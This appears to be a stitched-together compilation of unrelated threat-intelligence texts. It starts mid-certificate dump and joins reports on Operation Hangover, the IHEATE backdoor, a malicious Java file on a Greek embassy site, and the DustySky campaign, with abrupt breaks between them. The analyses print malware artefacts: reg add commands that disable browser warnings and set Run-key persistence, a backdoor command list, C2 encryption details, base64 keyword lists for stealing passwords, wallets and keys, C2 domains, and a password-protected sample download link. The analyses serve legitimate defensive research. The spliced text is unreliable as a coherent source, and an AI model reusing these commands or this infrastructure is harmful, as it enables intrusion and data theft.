1d:54:7a:e4:22:84:1c:1b:9f:cf:c7:a3:f2:0d:62: 2a:cb Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Key Usage: critical Digital Signature X509v3 CRL Distribution Points: URI:http://csc3-2010-crl.verisign.com/CSC3-2010.crl X509v3 Certificate Policies: Policy: 2.16.840.1.113733.1.7.23.3 CPS: https://www.verisign.com/rpa 38  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop X509v3 Extended Key Usage: Code Signing Authority Information Access: OCSP - URI:http://ocsp.verisign.com CA Issuers - URI:http://csc3-2010-aia.verisign.com/CSC3-2010.cer X509v3 Authority Key Identifier: keyid:CF:99:A9:EA:7B:26:F4:4B:C9:8E:8F:D7:F0:05:26:EF:E3:D2:A7:9D Netscape Cert Type: Object Signing 1.3.6.1.4.1.311.2.1.27: 0....... Signature Algorithm: sha1WithRSAEncryption 8f:d5:34:38:5d:9f:0b:70:5f:d8:46:aa:32:05:6d:10:7b:b2: 37:de:76:2d:de:f7:46:d6:ab:17:32:95:91:1b:9f:c0:b3:c9: 93:6f:d5:4d:82:d3:cd:d7:f7:db:64:72:17:9b:f6:08:1b:3e: d9:ca:de:49:75:86:44:2d:b2:e6:1f:26:77:28:3b:60:e7:8b: 93:fc:ea:6a:bc:d1:62:8d:5d:cb:f4:fe:ed:2c:6b:55:10:2d: 8a:36:cd:cd:0d:56:27:c5:5e:c0:47:f5:d1:1b:7a:a3:23:f9: a6:bf:b5:34:74:fa:ad:f4:80:86:b7:46:f8:b8:48:74:0d:5e: 68:3c:99:31:e6:13:b8:bb:13:cb:5b:69:17:68:60:9b:38:66: 6a:25:9b:df:a9:6e:62:5b:29:15:91:b1:e8:af:74:59:11:25: 38:ab:5c:b6:2a:33:16:ba:3c:42:76:2c:2b:91:9a:4b:e1:20: 82:4e:b9:91:3f:d5:2c:3b:4e:57:e8:42:a4:37:8c:f6:a3:e2: 7d:6b:b1:27:e2:cf:b5:9b:55:d1:7a:05:50:9b:2e:00:b1:4e: 03:78:dd:52:f9:7d:e3:bc:27:83:63:15:ba:7a:6d:40:b6:40: 42:bd:5a:82:63:30:c8:83:41:95:e0:52:a8:83:51:67:28:c4: 14:2a:d5:db Supply Chain Analysis: From Quartermaster to Sunshop FireEye, Inc.    1440 McCarthy Blvd.
Milpitas, CA 95035    408.321.6300    877.FIREEYE (347.3393)    infofireeye.com    www.fireeye.com 2014  FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
RPT.MSC.EN-US.082014 About FireEye FireEye has invented a purpose-built, virtual machine-based security platform that provides real-time threat protection to enterprises and governments worldwide against the next generation of cyber attacks.
These highly sophisticated cyber attacks easily circumvent traditional signature-based defenses, such as next-generation firewalls, IPS, anti-virus, and gateways.
The FireEye Threat Prevention Platform provides real-time, dynamic threat protection without the use of signatures to protect an organization across the primary threat vectors, including mobile, Web, email, and files and across the different stages of an attack life cycle.
The core of the FireEye platform is a virtual execution engine, complemented by dynamic threat intelligence, to identify and block cyber attacks in real time.
FireEye has over 1,100 customers across more than 40 countries, including over 100 of the Fortune 500.
OPERATION HANGOVER Executive Summary Unveiling an Indian Cyberattack Infrastructure This report details a sophisticated cyberattack infrastructure that appears to originate from India, conducted by private threat actors with no evidence of state-sponsorship.
It has likely been in operation for over three years, primarily as a platform for surveillance against targets of national security interest that are mostly based in Pakistan and possibly in the United States.
It is also used for industrial espionage against the Norwegian telecom corporation Telenor and other civil- ian corporations.
Evidence points to professional project management and outsourcing of key tasks, including some by freelance programmers.
On March 17, 2013 a Norwegian newspaper reported that the countrys telecommunications giant Telenor had filed a criminal police case for an unlawful computer intrusion.
Spear phishing emails targeting upper management appeared to be the source of the infection Through extensive analysis, security analysts at Norman Shark in conjunction with our partners, quickly uncovered a previously unknown and sophisticated infrastructure for targeted attacks.
Norman Confidential        HangOver Report Executive Summary 4/25/2013 Cyberattack Objectives The primary purpose of this long-running, global command-and-control net- work appears to be surveillance against national security interests.
Private- sector industrial espionage in fields as diverse as natural resources, telecommu- nications, law, food  restaurants, and manufacturing is likely a secondary pur- pose of this network.
Target Selection Based on analysis of IP addresses collected from criminal data stores discov- ered during the investigation, it appears that potential victims have been target- ed in over a dozen countries, most heavily represented by Pakistan, Iran, and the United States.
Targets include government, military, and civilian organizations Highly-Targeted Social Engineering Tactics Spear phishing to carefully-selected target individuals was the primary attack vector identified in the investigation.
The attackers went to great lengths to make the social engineering aspects of the attack appear as credible and applica- ble as possible.
In many cases, decoy files and websites were used, specifically geared to the particular sensibilities of regional targets including cultural and religious sub- ject matter.
Victims would click on what appeared to be an interesting docu- ment, and  begin the long-running infection cycle.
Exploit Tools and Techniques Despite all of the recent media attention on so-called zero-day exploits en- compassing brand new, never-before-seen attack methods, Operation Hangover appears to have relied exclusively upon well-known, previously identified vul- nerabilities in Java, Word documents, and web browsers.
Favored methods include documents infected with malicious code, along with direction to malicious websites with names deliberately similar to legitimate government, entertainment, security related, and commercial sites.
Often the user would be presented with a legitimate document or software download they were expecting to see, along with an unseen malicious download.
Infrastructure Development Operation Hangover utilizes a very extensive and sophisticated command-and- control infrastructure, likely developed over many months or years by numer- ous developers.
Our investigation revealed evidence of professional project management practices used to design frameworks, modules, and sub- components.
Individual malware authors were assigned certain tasks, and com- ponents were outsourced to what appear to be freelance programmers.
Attribution of Responsibility In recent months, much focus has been on China  including both state- sponsored and individual actors  but Operation Hangover contains notable hallmarks of originating exclusively in India.
We base this attribution with a very high degree of confidence on our extensive analysis of IP addresses, web- site domain registrations, and text-based identifiers contained within the mali- cious code itself.
All indications point to private syndicates of threat actors following their own motivations, with no direct evidence of state-sponsorship by the Indian government or by any other nation.
ATTACK OVERVIEW  Discovery of a security breach at Norway-based Telenor uncovered a long running, sophisticated global cyberattack infrastructure that likely continues to this day.
Cyberattack Objectives National security interests Industrial espionage Target Selection Primarily Pakistani and US-based targets Business targets Highly-Targeted Social Engineer- ing Tactics Executables disguised as docu- ments Malicious web downloads Exploit Tools and Techniques Known vulnerabilities only No use of zero-day exploits Infrastructure Development Evidence of professional project management Outsourcing of development Attribution of Responsibility Individual actors likely based in India Private data security firms hired to build specific infrastructure components No evidence of state-sponsored activity Contact information: Gary Thompson, 925.768.2400 Tim Johnson, 415.385.9537 normanclaritycommunications.us Norman Confidential        HangOver Report Executive Summary 4/25/2013 mailto:normanclaritycommunications.us
IXESHE Derivative IHEATE Targets Users in America blog.trendmicro.com /trendlabs-security-intelligence/ixeshe-derivative-iheate-targets-users-america/ by Razor Huang and CH Lei Since 2012, weve been keeping an eye on the IXESHE targeted attack campaign.
Since its inception in 2009, the campaign has primarily targeted governments and companies in East Asia and Germany.
However, the campaign appears to have shifted tactics and is once again targeting users in the United States.
We also noticed that there were some changes to the underlying behavior of the malware used.
While there were some incremental improvements in the observed behavior of the new sample, the underlying pattern of behavior is similar to what we observed earlier from IXESHE.
These attacks targeting users in the United States used a variant of IXESHE which has been seen in Taiwan since 2009 named IHEATE.
These showed some differences from known IXESHE variants: they had a different command-and-control (CC) communication model and encryption methods.
One IHEATE sample we found contains the string EMC112 as part of the CC traffic.
Such strings are frequently used to identify different campaigns.
In this particular case, the 112 part of the string matched the malware samples compilation date of January 12.
The sample we acquired connects to a CC server whose domain was first registered in 2004, but whose information was modified in December 2015.
This suggests that threat actors were able to pose as the original registrant and modify the information for their own needs.
Technical Analysis IXESHE is a well-known targeted attack campaign which has mainly targeted East Asian governments, electronics manufacturers, and a telecommunications company in Germany.
Other targets include G20 government officials as well as the New York Times.
The campaign is known for targeting users with fake documents using exploits and right-to-left override (RTLO) techniques.
The particular sample we found has a SHA1 hash of 3de8ef34fb98ce5d5d0ec0f46ff92319a5976e63.
We detect it as BKDR_IHEATE.
Unlike common IXESHE variants which usually communicate with CC servers via HTTP and a customized Base64-ecoded payload, IHEATE communicates with CC servers in the TCP layer.
(
HEATE is a command that is sent by some members of this family to servers that acts as a notice that its still online we derived the name IHEATE from this command and its ties to the IXESHE family.)
We have learned from IXESHE variants that even though the encryption routine changed in different variants but the decrypted messages are almost similar.
Information gathering Once the backdoor is installed, it collects information on the victims system and sends it to CC server with the following format : [Computer name]  [User name]  [IP]  [OS version]  [Process ID or Tag] Not all samples include a tag in their message.
This tag could be a process ID, victim information, or the date when 1/5 http://blog.trendmicro.com/trendlabs-security-intelligence/ixeshe-derivative-iheate-targets-users-america/ http://blog.trendmicro.com/trendlabs-security-intelligence/taking-a-bite-out-of-ixeshe/ the malware was compiled.
In this IHEATE sample, the tag is EMC112.
The 112 portion may refer to when the malware was  compiled, as its compile date/time is 2016/01/12 03:22:27.
The threat actors behind IHEATE could use these tags to manage victims.
The traffic back to their CC servers could easily be sorted using these tags.
Sometime they slightly change the feedback format, such as Removing spaces:[Computer name][User name][IP][OS version][Tag] Changing the delimiter: [Computer name]  [User name]  [IP]  [OS version]  [Tag] Backdoor instructions IHEATE provides a similar set of commands as most IXESHE variants.
Note that the following list is case insensitive: /WINCMD s  Launch command and get the output /GETCMD s  copy cmd.exe and rename /DISK  List all disks /CD  get current directory /CD s  change directory /DIR s  browse directory /DEL s  delete file /GETFILE s  upload file /PUTFILE s  download file /TASKLIST  list running processes /TASKKILL s  kill a running process /SHUTDOWN  shut down the malware /SLEEP s  sleep for specific period Encryption While IXESHE variants have fairly similar phone-home and backdoor routines, they have a wide variety of encryption routines.
IHEATE is no different, and has its own unique behavior.
The traffic below simulates the traffic between a IHEATE-affected machine and its CC server.
Traffic from the client to the server is in red traffic from the server to the client is in blue.
The CC server has sent a /DISK command to the machine.
Figure 1.
Captured IHEATE network traffic The first part of the network traffic is from the client to the CC server.
It is as follows: 1.
The first six bytes make up the hardcoded portion of the encryption key.
In this case, it is 36 59 6d 56 7c 22.
We have seen different encryption keys in other IHEATE variants in some variants this part is ten bytes long.
2/5 2.
The following eight bytes make up the randomly generated portion of the encryption key.
Here it is b0 84 e8 44 a4 55 85 c7.
In some samples, this portion is ten bytes long.
3.
The next two bytes say how long the encrypted data is, here it is 61 8a.
The contents are encrypted with RC4, using the randomly generated encryption key.
4.
Last is the data itself.
This is also encrypted using RC4, with the hardcoded and randomly generated portions of the encryption key concatenated together.
The second part is the response of the server to the client.
It is described as follows: 1.
The encryption procedure is identical to that used by the client to talk to the server.
2.
The six-bit hardcoded portion of the encryption key must be identical to the one used by the client earlier.
Otherwise, if the keys do not match, the connection is dropped.
However, some newer IHEATE samples use yet another technique.
These use asymmetric encryption: 1.
Before communicating with CC server, the malware client generates a random session key.
2.
The client encrypts the session key using RSA-1024, using a public key hardcoded inside of malware.
3.
The client encrypts the data to be sent using a custom encryption routine.
4.
On top of this, the data sent to the CC server is encrypted with RC4, using the previously generated session key, Figure 2.
Asymmetric encryption as used by IHEATE File properties The IHEATE sample with the EMC112 identifier passes itself off as legitimate Media Player-related .DLL file, as can be seen below: 3/5 Figure 3.
IHEATE pretending to be a Media Player .DLL file CC Servers IXESHE was known for using compromised hosts for its CC servers, and IHEATE behaves similarly.
The IHEATE sample with the EMC112 identifier used the subdomain cknew[.
]abused domain[.
]com as the location of its CC server.
This domain appears to contain the personal blog of the original registrant, who has been using it since the domain was registered in 2004.
We do not believe that the registrant is tied to IHEATE instead we believe that his credentials were compromised so that threat actors could set up subdomains.
This site was active briefly in the middle of 2015, but came back online at the start of 2016.
Other IHEATE samples showed interesting behavior as well.
In one case, the attackers planted a fake CC server address in the code: 4/5 Figure 4.
Fake CC server in code The address here is not an actual CC address instead it is used to calculate the port that the client will use (in this case, 443: (2418)11.)
Other attacks are known to have used similar tactics as well.
Other domains used by IHEATE also overlapped with servers used by IXESHE.
Two domains (ipv6pro[.]root[.
]sx and gimeover[.]psp-moscow[.
]com) were used by IHEATE and resolved to the IP address 200[.]93[.]193[.
]163.
At approximately the same time, IXESHE also used the same server  except it did so by accessing the domain skype[.]silksky[.
]com.
Conclusions IXESHE and associated threats like IHEATE have not gone away, and they continue to evolve and change with the times.
We will continue to monitor this threat and apprise our readers of any future developments.
5/5 IXESHE Derivative IHEATE Targets Users in America
9 Blitzanalysis: Embassy of Greece Beijing - Compromise Its friday afternoon, I had a bit of free time and stumbled across this tweet by PhysicalDrive0 (thx) two hours ago and thought to give it a try to finally add a new article to this Blog (first of 2014): https://twitter.com/PhysicalDrive0/status/479921770838102017 So, I went to Google to search for the domain of the Embassy of Greece Beijing and added the (allegedly) malicious java file package that was found by PhysicalDrive0: URL: http://www.grpressbeijing.com/1.jar (malicious) Next, I loaded the 1.jar file into Java Decompiler to get the source code.
It showed, that the functionality is obfuscated in some way, e.g.
the function csfn(String paramString) decrypts all strings by removing the numbers of the string parameter: csfn(64s33333e3333t333S55e666c777u5r333i534t76y2M34a55n76a88g666e44r2222) - setSecurityManager There are some other obfuscation techniques, but they are not important here.
Instead, the following deobfuscated code line in the function init() gives us an idea where the actual payload is located: Resp localResp  new Resp(csfn(234p34a55445c43654k632434234235)) - pack We can also see, that the java package contains a file named pack, so we open 7-Zip and unpack the file.
A quick view with a PE viewer showed, that it is a x86 PE executable not even encrypted (SHA256: b832e4b5a4829c8df6de7b42c5cb32ef25b5ab59072b4c2a7838404cd0dd5e5f): https://twitter.com/PhysicalDrive0/status/479921770838102017 http://jd.benow.ca/ Figure 2: Payload inside Java package Figure 3: Payload inside PE viewer So, I opened IDA Pro to take a quick look at the functionality.
Together with the strings of the executable, we get a brief idea of what the purpose of this malware is.
The important strings are as follows: SELECT  FROM AntiVirusProduct reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings  /v PrivDiscUiShown /t REG_DWORD /d  1  /f reg add HKCU\Software\Microsoft\Internet Explorer\Main  /v DEPOff /t REG_DWORD /d  1  /f reg add HKCU\Software\Microsoft\Internet Explorer\Main  /v DisableFirstRunCustomize /t REG_DWORD /d  2  /f reg add HKCU\Software\Microsoft\Internet Explorer\Main  /v Check_Associations /t REG_SZ /d  no /f reg add HKCU\Software\Microsoft\Internet Explorer\Main http://1.bp.blogspot.com/-Q0t2Rr1JiL0/U6RahxcrDqI/AAAAAAAAAS4/-F7bXNbNRc0/s1600/pack.jpg http://4.bp.blogspot.com/-vLYjIfJVnjg/U6RbOdqp7gI/AAAAAAAAATA/E1TI8ms1l6I/s1600/pe.jpg reg add HKCU\Software\Microsoft\Internet Explorer\PhishingFilter  /v ShownVerifyBalloon /t REG_DWORD /d  3  /f reg add HKCU\Software\Microsoft\Internet Explorer\PhishingFilter  /v Enabled /t REG_DWORD /d 1  /f reg add HKCU\Software\Microsoft\Internet Explorer\PhishingFilter reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings  /v WarnOnPostRedirect /t REG_DWORD /d  0  /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings  /v WarnonZoneCrossing /t REG_DWORD /d  0  /f reg add HKCU\Software\Microsoft\Internet Connection Wizard  /v AutoRecover /t REG_DWORD /d 2  /f reg add HKCU\Software\Microsoft\Internet Connection Wizard  /v Completed /t REG_BINARY /d  1 /f \cmd.exe Together with the output of IDA Pro, we can see that this malware uses the command line tool cmd.exe for adding several registry keys to Internet Explorer.
It also tries to retrieve possible AntiVirus information by using the COM interface (dc12a687-737f-11cf-884d-00aa004b2e24 - IWbemLocator - SELECT FROM AntiVirusProduct).
Furthermore, it makes use of the COM to launch an instance of Internet Explorer (d30c1661-cdaf-11d0-8a3e-00c04fc9e26e - IWebBrowser2), supposedly to contact its CC server.
To verify this, we open up Wireshark and run the executable.
As a result, we get the following network information: CC server: defense.miraclecz.com (IP: 208.115.124.83) HTTP GET request: /index.asp?id50100 Also, we see that it downloads some kind of data (Base64 encoded).
But first, we combine the CC server and the HTTP request and open the URL in our favorite Browser: Figure 4: Base64 encoded (2nd) Payload URL: defense.miraclecz.com/index.asp?id50100 As you can see, there is a string named microsoft followed by Base64 encoded data.
Side note: Is there also a Linux equivalent?
Next, we copy the Base64 encoded data and go to the following website to let us decode it into a file (because I had the feeling its just another unencrypted executable): http://www.motobit.com/util/base64-decoder-encoder.asp As a result, we get another executable (SHA256: a4863f44f48d1c4c050dd7baad767a86b348dd4d33924acf4e0a3cd40c6ae29f) that was only Base64 encoded and not encrypted in any way: http://2.bp.blogspot.com/-6cf20WwPmc4/U6Rc6-Ou8jI/AAAAAAAAATM/8cawSk-6IC8/s1600/base64.jpg http://www.motobit.com/util/base64-decoder-encoder.asp http://3.bp.blogspot.com/-LAKZX-ltqQU/U6Rdf0YG0RI/AAAAAAAAATU/dSWKjGY21oU/s1600/pe2.jpg Figure 5: Downloaded Payload So again, we fire up our PE viewer and take a look at the important strings: http://buy.miraclecz.com reg add HKCU\Software\Microsoft\Internet Explorer\Main  /v DEPOff /t REG_DWORD /d  1  /f reg add HKCU\Software\Microsoft\Internet Explorer\Main  /v DisableFirstRunCustomize /t REG_DWORD /d  2  /f reg add HKCU\Software\Microsoft\Internet Explorer\Main  /v Check_Associations /t REG_SZ /d  no /f reg add HKCU\Software\Microsoft\Internet Explorer\Main reg add HKCU\Software\Microsoft\Internet Explorer\PhishingFilter  /v ShownVerifyBalloon /t REG_DWORD /d  3  /f reg add HKCU\Software\Microsoft\Internet Explorer\PhishingFilter  /v Enabled /t REG_DWORD /d 1  /f reg add HKCU\Software\Microsoft\Internet Explorer\PhishingFilter reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings  /v WarnOnPostRedirect /t REG_DWORD /d  0  /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings  /v WarnonZoneCrossing /t REG_DWORD /d  0  /f reg add HKCU\Software\Microsoft\Internet Connection Wizard  /v AutoRecover /t REG_DWORD /d 2  /f reg add HKCU\Software\Microsoft\Internet Connection Wizard  /v Completed /t REG_BINARY /d  1 /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run  /v spoolsv.exe /t REG_SZ /d temp\spoolsv.exe  /f spoolsv.exe Software\Microsoft\Windows\CurrentVersion\Run open file fail cmd timeout error d Run cmd error d cmd.exe /c ss sd.txt open file error temp ss.ini myWObject \cmd.exe DOCTYPE html s/?id1blankdid2dd s/?id1dd Again, we load the executable into IDA Pro and quickly fly over the assembly code to get an idea of the functionality.
Once again, it creates several registry entries with the help of the command line tool and creates an instance of the Internet Explorer (CoCreateInstance() - d30c1661-cdaf-11d0-8a3e- 00c04fc9e26e) for contacting the CC server.
This time, the network information is as follows: CC server: buy.miraclecz.com (IP: 74.121.191.33) URL parameters (from strings of executable): s/?id1blankdid2dd s/?id1dd From the code we can see, that the sample has also the ability to encode/decode data from/to Base64.
The dynamic analysis showed the malware sample contacted the CC server, but wasnt sending any URL parameters (id1, id2).
Also the server didnt respond...
The files can be downloaded here: https://www.dropbox.com/s/ckr7p5kka62cc7s/Embassy20of20Greece20-20Beijing.zip Password: infected (without ) Thats it, have a nice weekend... https://www.dropbox.com/s/ckr7p5kka62cc7s/Embassy20of20Greece20-20Beijing.zip
______________________________________________________________________________ All Rights reserved to C. S Consultings ltd.
ClearSky    www.clearskysec.com Page 1of 26 June 2016 Operation DustySky Part 2 ClearSky Cybersecurity www.clearskysec.com/dustysky2 TLP:White For public distribution file:///C:/Users/boazd/Desktop/www.clearskysec.com ______________________________________________________________________________ (C) All Rights reserved to C.S.
Consultings Ltd, 2016.
ClearSky    www.clearskysec.com Page 2 of 26 Contents Foreword .............................................................................................................................................................. 3 Acknowledgments ....................................................................................................................................... 3 Background ........................................................................................................................................................... 4 Targeting and incidents ........................................................................................................................................ 5 Who are they after?
.........................................................................................................................................
5 Targeting in Hebrew and English ................................................................................................................. 5 Targeting in arabic ....................................................................................................................................... 9 What are they after?
......................................................................................................................................
11 Infrastructure......................................................................................................................................................13 Key C2 and delivery servers .......................................................................................................................13 Threat actor and Attribution ..............................................................................................................................15 Threat actor ...............................................................................................................................................15 Who is moayy2adhotmail.com ..............................................................................................................16 Contacting ClearSky........................................................................................................................................22 By Email ......................................................................................................................................................22 By phone ....................................................................................................................................................23 Appendix A  Indicators ......................................................................................................................................24 ______________________________________________________________________________ (C) All Rights reserved to C.S.
Consultings Ltd, 2016.
ClearSky    www.clearskysec.com Page 3 of 26 Foreword This report is a follow-up on our DustySky operation report from January 20161.
It analyses new attacks by Molerats against targets in Israel, The United States, Egypt, Saudi Arabia, United Arab Emirates and The Palestinian Authority.
We elaborate on the scope and targeting of the DustySky campaign and expose new infrastructure and incidents.
In addition, we expose the identity of an individual who is behind the DustySky campaign.
Following the previous report, this individual has contacted us trying to learn what we know about him.
Attacks against all targets in the Middle East stopped at once, after we published our first report.
However, the attacks against targets in the Middle East (except Israel) were renewed in less than 20 days.
In the beginning of April 2016, we found evidence that the attacks against Israel have been renewed as well2.
Based on the type of targets, on Gaza being the source of the attacks, and on the type of information the attackers are after - we estimate with medium-high certainty that the Hamas terrorist organization3 is behind these attacks.
Acknowledgments This research was facilitated by the PassiveTotal for threat infrastructure analysis.
We would like to thank the security researchers and organizations who shared information and provided feedback, which have been crucial for this research.
1 clearskysec.com/dustysky 2  The report seems to have indeed disrupted the attacker for several months.
In a PDB found in a sample from the April wave, there is an indication that the attacker saw that wave as part 2 of the attacks (part 1 being the attacks before the public report): Name D:\IL\Working Tools\2016-04-23 NeD Ver 9 Ran Il - 192.52.167.118\NeD Download and execute Version 1 - Doc\bin\Release\Obfuscated\News.pdb 3 https://www.nctc.gov/site/groups/hamas.html https://www.passivetotal.org/ http://www.clearskysec.com/dustysky http://www.clearskysec.com/dustysky https://www.nctc.gov/site/groups/hamas.html https://www.nctc.gov/site/groups/hamas.html ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 4 of 26 Background DustySky is a multi-stage malware written in .NET (recently ported to C).
It is composed of a DustySky dropper, DustySky core, and the DustySky keylogging component.
It has been developed and used since May 2015 by Molerats (aka Gaza cybergang), a terrorist group whose main objective in this campaign is intelligence gathering.
A wave of malicious email messages has been sent on a weekly basis to hundreds of targets.
The email message and the lure documents are written in Hebrew, Arabic or English.
The attackers would send a malicious email message that either links to an archive file (RAR or ZIP compressed) or has one attached to it.
The archive contains an .exe file, sometimes disguised as a Microsoft Word file, a video, or another file format, using the corresponding icon.
We have also found samples that use Microsoft Word files embeded with a malicious macro, which would infect the victim if enabled.
In all cases the attackers rely on social engineering - convincing the victim to open the file (and enabling content if it is disabled) - and not on software vulnerabilities In addition to DustySky, the attackers use publicly available tools such as the following Remote Administration Tools (RAT): Poison ivy, Nano Core, XtremeRAT, DarkComet and Spy-Net.
These tools have been used either following an initial DustySky infection, or by themselves.
Targeted sectors are mostly governmental and diplomatic institutions including embassies companies from the aerospace and defense Industries financial institutions journalists software developers.
Most targets are from the Middle East, some are in the United States and Europe.
In January 2016 weve published an extensive report about the campaign and malware - Operation DustySky - which is available here: clearskysec.com/dustysky http://www.clearskysec.com/dustysky ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 5 of 26 Targeting and Incidents Who are they after?
Targeting in Hebrew and English Below are examples of lure documents presented to the victim while the malware infects the computer.
The content of the document is always copied from an online public source.
The subject usually revolves around defense and security or current affairs.
Once in a while other topics or content are used - such as a public corporate responsibility document published by Egged, an Israeli bus company a part of an online Novel published as a doc file or pornographic materials.
Intelligence agencies succeeding in penetrating Hezbollah.exe IDF survey Research Center ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 6 of 26 (unused condom   ) Live Webcam For Free 15-   .exe (Six killed and 15 wounded in an collision between bus and tractor trailer) ______________________________________________________________________________ (C) All Rights reserved to C.S.
Consultings Ltd, 2016.
ClearSky    www.clearskysec.com Page 7 of 26 Intelligence Report: Israels strategic position has improved.exe -     .exe (corporate responsibility and sustainability report - Egged) -   .exe (blind love game  chapter G) ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 8 of 26 Ynet news In a recent wave, a bit.ly link (https://bitly[.
]com/1YRoIPX) was used instead of a direct link to the malware (bit.ly is a legitimate URL shortening service).
The shortened link statistics page enables us to learn about the scope and the targeting of this threat actor.
We can see that the link was clicked 210 times, out of which 130 were in Israel, 32 in the United States, 9 in the Palestinian authority, and 39 from 12 other countries (1-5 each).
The statistics do not necessarily reflect the exact distribution of targets: one target may click more than one time a proxy or VPN may skew the country count and security researchers and bots may also comprise part of the clicks.
However, they do roughly represent the scope of the campaign: tens to few hundreds of recipients - mostly in Israel, the United States and the Palestinian Territories.
This corresponds to the distribution we know of based on other sources such as direct reports from targets, cases we have investigated, and open source intelligence.
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ClearSky    www.clearskysec.com Page 9 of 26 Targeting in arabic Below are examples of a document and a malicious email, targeting Arabic speaking victims. . (
Summary daily intelligence report) .exe (The true story behind the death of the leader Farid Ismail in Scorpio prison) When targeting Arab-speaking counties, most targets are in Egypt, Saudi Arabia, The Palestinian authority and United Arab Emirates.
We have learned of more than 150 targets in these countries when investigating a breached email account used by the attackers to send further malicious emails.
About 60 of targeted the email addresses where Gmail, Hotmail and Yahoo accounts.
The rest of the email accounts were in organizations - both private and governmental.
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ClearSky    www.clearskysec.com Page 10 of 26 We searched for information about the targets in order to learn the interests of the attackers.
Below are examples of targeted individuals and organizations: Several diplomats and employees of the ministry of foreign affairs in Egypt (20 emails addresses at mfa.gov.eg, investment.gov.eg and other offices).
Egypts Ambassador in the Ukraine, Counsellor of Permanent Mission of Egypt to the United Nations, the Egyptian Embassy in New Zealand, and Egyptian Embassy in Pakistan.
An individual at the prime ministers office at the Palestinian Authority (both his Gmail account and an account under pmo.pna.ps).
A senior official at the Birzeit University in the Palestinian Authority.
A consultant at West Bank and Gaza Group, The World Bank (worldbank.org).
Israeli banks.
Israeli military and defense companies.
Ministry of Foreign Affairs of Saudi Arabia (2 email addresses at mofa.gov.ae).
Ministry of Foreign Affairs of United Arab Emirates (2 email addresses at mofa.gov.sa).
A banks in Dubai and Abu Dhabi, United Arab Emirates.
A Lobbying organizations in the UK.
Former politician in the UK.
A diplomat the European Commission (ec.europa.eu).
The Royal Hashemite Court in Jordan (rhc.jo).
An employee at the U.S. Department of State (state.gov).
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ClearSky    www.clearskysec.com Page 11 of 26 What are they after?
The malware scans the computer for files that contain certain keywords.
The list of keywords, in base64 format, is retrieved from the command and control server as a text file.
For example: These words indicate what information the attackers are after - information pertaining to homeland security and military issues personal documents credentials, certificates and private keys.
Below are keywords that have been used in the recent campaigns: Baste64 Decoded English translation ZW1haWxz Emails YWNjb3VudHM Accounts Yml0Y29pbg Bitcoin Y3YuZG9j cv.doc Y3YucGRm cv.pdf TG9naW4gRGF0YQ Login Data S2V5V29yZA KeyWord LndhbGxldA .wallet LnBmeA .pfx Lm92cG4 .ovpn dXNlcnMgbmFtZSBhbmQgcGFzc3dvcmQ users name and password dG9yLmRvYw tor.doc cGFzc3dvcmRz passwords cGF5cGFs paypal bG9naW5zLg logins.
bG9naW5z logins aWQucGRm id.pdf aWQuanBn id.jpg ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 12 of 26 2YXYrtin2KjYsdin2Kog  Intelligence 2YXYrdi22LEg2KfYrNiq2YXYp9i5    meeting protocol 2YPZhNmF2KfYqiDZhdix2YjYsQ    passwords 2YPZhNmF2KfYqiDYs9ix    passwords 2YPZhNmF2KfYqiDYp9mE2YXYsdmI2LE   the passwords 2YPZhNmF2KfYqiDYp9mE2LPYsQ    the passwords 2YPZhNmF2KfYqiDYp9mE2LPYsQ   the passwords 2YLYp9i52K/YqSDYqNmK2KfZhtin2Ko    Database 2YjYq9mK2YLYqQ  document 2LPZitix2Kkg2LDYp9iq2YrYqQ    CV 2LPZitiq2Kcg  SITA (www.sita.aero) 2LnYs9mD2LHZiiA  military 2KPZhdmG2Yog  defense or security related 2KfZhNil2YrZhdmK2YTYp9iq   the emails 2KfYs9iq2K7YqNin2LHYp9iq  intelligence 16rXldeb16DXmdeV16og16bXkdeQ15nXlde q military plans 16rXldeb16DXmdeV16o   plans 16nXkScn15s   Shabak (Israel Security Agency) 16jXkNepINeU157Xntep15zXlA   prime minister 16HXmdeh157XkNeV16o   passwords 16HXmdeh157XkA  password 16HXldeTLg   secret 16DXntec15nXnSDXp9eo15HXmded    combat sea ports 16bXkdeQ15nXldeq   military related 16bXkdeQ15k   military related 15TXldeT16LXldeq  messages 15nXl9eZ15PXlCAg157XmdeV15fXk9eq   special forces unit 15jXmdeh15nXnQ  pilots 15HXmdeY15fXldeg15nXnQ  Defense and security related 15DXkdeY15fXlA   security 157XqdeqJyfXpA   collaborator  (a person who cooperates with the enemy) 157Xqdeo15Mg15TXpNeg15nXnQ   ministry of internal affairs 157XoNeU16jXldeq   tunnels 157XoNeU16jXlA   tunnel 157Xlicn15zXmA   drone 157XldeT16LXmdef  intelligence 157XldeT15nXoteZ158  intelligence 157Xldeh15Mg   Mossad ______________________________________________________________________________ (C) All Rights reserved to C.S.
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ClearSky    www.clearskysec.com Page 13 of 26 Infrastructure As in previous cases, the attackers still serve copied content on IPs, domains and hosts they control.
For example, one of the command and control servers, mafy.2waky[.
]com, serves content copied from a legitimate unrelated website - radaronline.com.
The copied content is probably there just to confuse suspecting targets and security researchers.
In other cases, the visitor was redirected via HTTP 301 response to a legitimate unrelated website - www.onlinepcsupport.co.uk.
Key C2 and delivery servers The attackers have been using IP address 192.52.167.118 since the beginning of January.
In the Heat map below, we can see that new hosts/domains (marked by orange triangle) have pointed to it during January- February and again in May.
